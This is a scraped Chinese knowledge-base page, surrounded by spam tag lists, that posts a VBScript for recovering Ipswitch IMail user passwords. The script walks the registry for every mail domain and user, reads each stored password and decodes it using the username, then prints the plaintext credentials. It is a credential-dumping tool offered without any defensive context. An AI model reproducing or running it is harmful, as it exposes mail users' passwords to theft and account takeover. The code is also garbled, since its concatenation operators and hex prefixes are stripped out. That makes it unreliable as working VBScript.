主頁 > 知識庫 > vbs imail 密碼解密

vbs imail 密碼解密

熱門標(biāo)簽:海外美發(fā)店地圖標(biāo)注 外呼營銷下單系統(tǒng) 辦理膠州400電話財稅 前鋒辦理400電話申請 打電話的外呼系統(tǒng)貴不貴 陜西高頻外呼回?fù)芟到y(tǒng)哪家好 百度地圖標(biāo)注怎么卸載 加盟電銷機(jī)器人好的品牌 新密防封卡外呼系統(tǒng)違法嗎
復(fù)制代碼 代碼如下:

on error resume next
const HKEY_LOCAL_MACHINE = H80000002
strComputer = "."
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" _
strComputer "\root\default:StdRegProv")
strKeyPath = "SOFTWARE\Ipswitch\IMail\Domains"
oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, arrSubKeys
For Each subkey In arrSubKeys
wscript.echo "Domain: "subkey
strKeyPath2 = strKeyPath"\"subkey"\Users"
oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath2, arrSubKeys2
For Each subkey2 In arrSubKeys2
strKeyPath3=strKeyPath2"\"subkey2
strValueName = "Password"
oReg.GetStringValue HKEY_LOCAL_MACHINE,strKeyPath3,strValueName,strValue
if len(subkey2) and len(strValue) then
wscript.echo subkey2 " : " decrypt(subkey2,strValue)
end if
Next
Next

function decrypt(name,pass)
while len(name)len(pass)/2
name=namename
wend
for i=0 to len(pass)/2-1
p=mid(pass,2*i+1,2)
p="H"p
n=mid(name,i+1,1)
decrypt=decryptchr(clng(p)-asc(n))
next
end function

標(biāo)簽:武威 伊春 四平 河南 阜陽 牡丹江 咸陽 梅州

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《vbs imail 密碼解密》,本文關(guān)鍵詞  vbs,imail,密碼,解密,vbs,imail,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《vbs imail 密碼解密》相關(guān)的同類信息!
  • 本頁收集關(guān)于vbs imail 密碼解密的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章